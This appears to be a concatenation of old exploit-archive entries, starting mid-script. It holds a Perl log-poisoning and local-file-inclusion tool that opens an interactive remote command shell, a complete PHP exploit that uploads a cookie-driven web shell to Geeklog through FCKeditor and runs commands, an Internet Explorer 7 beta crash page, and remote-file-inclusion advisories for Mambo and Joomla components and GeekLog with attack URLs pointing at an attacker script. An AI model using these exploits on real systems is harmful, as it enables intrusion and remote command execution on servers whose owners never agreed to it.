$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server", PeerPort=>"http(80)") || die "[-] Cannot not connect to host !\n";
print $socket "GET ".$path.$pcode." HTTP/1.1\r\n";
print $socket "User-Agent: ".$pcode."\r\n";
print $socket "Host: ".$server."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);
print "[+] PHP code injection in log file finished. \n";
$log = "no";
@apache=(
"/var/log/httpd/access_log","/var/log/httpd/error_log",
"/var/log/apache/error.log","/var/log/apache/access.log",
"/apache/logs/error.log", "/apache/logs/access.log",
"/etc/httpd/logs/acces_log","/etc/httpd/logs/acces.log",
"/etc/httpd/logs/error_log","/etc/httpd/logs/error.log",
"/var/www/logs/access_log","/var/www/logs/access.log",
"/usr/local/apache/logs/access_log","/usr/local/apache/logs/access.log",
"/var/log/apache/access_log","/var/log/apache/access.log",
"/var/log/access_log","/var/www/logs/error_log",
"/www/logs/error.log","/usr/local/apache/logs/error_log",
"/usr/local/apache/logs/error.log","/var/log/apache/error_log",
"/var/log/apache/error.log","/var/log/access_log","/var/log/error_log",
);
for ($i=0; $i<=$#apache; $i++)
{
print "[+] Apache Path : ".$i."\n";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, Timeout => 10, PeerPort=>"http(80)") || die "[-] cannot connect to host! \n";
print $sock "GET ".$path."index.php&cmd=id&lng=".$path[$i]."%00 HTTP/1.1\r\n";
print $sock "Host: ".$server."\r\n";
print $sock "Connection: close\r\n\r\n";
$out = "";
while ($answer = <$sock>)
{
$out.=$answer;
}
close($sock);
if ($out =~ m/_Hessamx_(.*?)_xHessam_/ms)
{
print "[+] Log File found ! [ $i ] \n\n";
$log = $i;
$i = $#path
}
}
if ($log eq "no") {
print "[-] Can not found log file ! \n";
print "\n[-] Exploit Failed ! ... \n";
exit;
}
print "[Hessam-x\@ $server] \$ ";
$cmd = <STDIN>;
while($cmd !~ "exit")
{
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") || die "[-] Cannot connect to host !\n";
print $socket "GET ".$path."index.php?cmd=".$cmd."&lng=../../../../../../../../..".$path[$log]."%00 HTTP/1.1\r\n";
print $socket "Host: ".$serv."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\n";
while ($answer = <$socket>)
{
print $answer;
}
print "[Hessam-x\@ $server ] \$ ";
$cmd = <STDIN>;
}
# milw0rm.com [2006-08-24]

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Geeklog <= 1.4.0sr3 'f(u)ckeditor' remote commands execution\n";
echo "by rgod <a href="mailto:rgod@autistici.org">rgod@autistici.org</a>\n";
echo "site: http://retrogod.altervista.org\n";
//works regardless of any php.ini settings,
//fckeditor (very old 'mcpuk' version...) is enabled by default,
//and connector.php not protected,
//you can upload multiple extensions files...
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\n";
echo "host: target server (ip/hostname)\n";
echo "path: path to geeklog\n";
echo "cmd: a shell command\n";
echo "Options:\n";
echo " -p[port]: specify a port other than 80\n";
echo " -P[ip:port]: specify a proxy\n";
echo "Example:\n";
echo "php ".$argv[0]." localhost / cat ./../../../../config.php\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$cmd="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$shell="<?php echo chr(72).\"i Master!\";if(get_magic_quotes_gpc()){\$_COOKIE[\"cmd\"]=stripslashes(\$_COOKIE[\"cmd\"]);}";
$shell.="ini_set(\"max_execution_time\",0);error_reporting(0);";
$shell.="echo \"*delim*\";passthru(\$_COOKIE[\"cmd\"]);?>";
$allowed_extensions = array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla");
for ($i=0; $i<=count($allowed_extensions)-1; $i++){
$filename="suntzu.php.".$allowed_extensions[$i];
$data="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
$data.="Content-Type:\r\n\r\n";
$data.="$shell\r\n";
$data.="-----------------------------7d529a1d23092a--\r\n";
$packet="POST ".$p."fckeditor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?Command=FileUpload&Type=File HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
$packet="GET ".$p."images/library/File/".$filename." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=".$cmd."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("Hi Master!",$html)){
echo"Exploit succeeded...!\n";
$temp=explode("*delim*",$html);
die($temp[1]);}
}
//if you are here...
echo "Exploit failed...";
?>

<!--
/*
*
* Msie 7.0 Beta crash [Proof of concept]
* Bug discovered by Mr.Niega
* http://www.swerat.com/
*
* Affected Software: Internet Explorer 7.0 Beta
* Severity: Unknown
* Impact: Crash
* Solution Status: Unpatched
*
* E-Mail: MarjinZ@gmail.com & Mr.Niega@gmail.com
* __ __ __ __
*| \/ | __ _| \/ |
*| |\/| |/ _` | |\/| |
*| | | | | | | | | |
*|_| |_|_| |_|_| |_|
* Credits goes out to MarjinZ
*
*/
-->
<html>
<body>
<applet>
<applet>
<applet>
<applet>
<applet>
<applet>
<applet>
<applet>
<applet>
<applet>
<applet>
<applet>
<applet>
<applet>
</body>
</html>

---------------------------------------------------------------------------
Pearl For Mambo <= 1.6 (GlobalSettings[templatesDirectory]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------
Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RoSecurityGroup.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Pearl For Mambo
version : latest version [ 1.6 ]
Description: component for mambo
URL : http://www.pearlinger.com
------------------------------------------------------------------
Exploit:
~~~~~~~
Variable $GlobalSettings[templatesDirectory] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.
# http://www.site.com/[path]/includes/functions_cms.php?phpbb_root_path=[evil_script]
# http://www.site.com/[path]/includes/adminSensored.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminBoards.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminAttachments.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminAvatars.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminBackupdatabase.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminBanned.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminForums.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminPolls.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminSmileys.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/poll.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/move.php?GlobalSettings[templatesDirectory]=[evil_script]
---------------------------------------------------------------------------
Solution :
~~~~~~~~~
declare variabel $[evil_script]
---------------------------------------------------------------------------
Shoutz:
~~~~~
# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://RoSecurityGroup.net ]
---------------------------------------------------------------------------

RsGallery2 for Joomla
---------------------------------------------------------------------------
Discovered: marriottvn
Remote : Yes
Level : High
---------------------------------------------------------------------------
Affected software description :
Application : RsGallery2
version : latest version [ 1.11.2 ]
Description: component for joomla
URL: http://rsdev.nl
----------------------------------------------------------------------------
Vulnerable file :
rsgallery2.html.php
----------------------------------------------------------------------------
Exploit:
 http://[sitepath]/[joomlapath]/components/com_rsgallery2/rsgallery.html.php?mosConfig_absolute_path=http://[attacker]
----------------------------------------------------------------------------
Fix:
1.Declare variabel $mosConfig_absolute_path
or
2.Add into the top function:
defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
----------------------------------------------------------------------------

---------------------------------------------------------------------------
GeekLog <= 1.4.0 (_CONF[path]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------
Google d0rk: "powered by geeklog"
Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RoSecurityGroup.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : GeekLog
version : latest version [ 1.4 ]
URL : http://www.geeklog.net/
------------------------------------------------------------------
Exploit:
~~~~~~~~
Variable $_CONF[path] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.
were [path] on some cases => www.site.com/[path]/public_html/index.php
# http://www.site.com/[path]/plugins/links/functions.inc?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/polls/functions.inc?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/BlackList.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/DeleteComment.Action.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditIPofURL.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MassDelete.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MailAdmin.Action.class.php?_CONF[path]=[Evil_Script]
#http://www.site.com/[path]/plugins/spamx/MassDelTrackback.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditIP.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/Import.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/LogView.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/staticpages/functions.inc?_CONF[path]=[Evil_Script]
---------------------------------------------------------------------------
Solution :
~~~~~~~~~~
declare variabel $_CONF[path]
---------------------------------------------------------------------------
Shoutz:
~~~~~~
# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and RST [ hTTp://RoSecurityGroup.net ]
---------------------------------------------------------------------------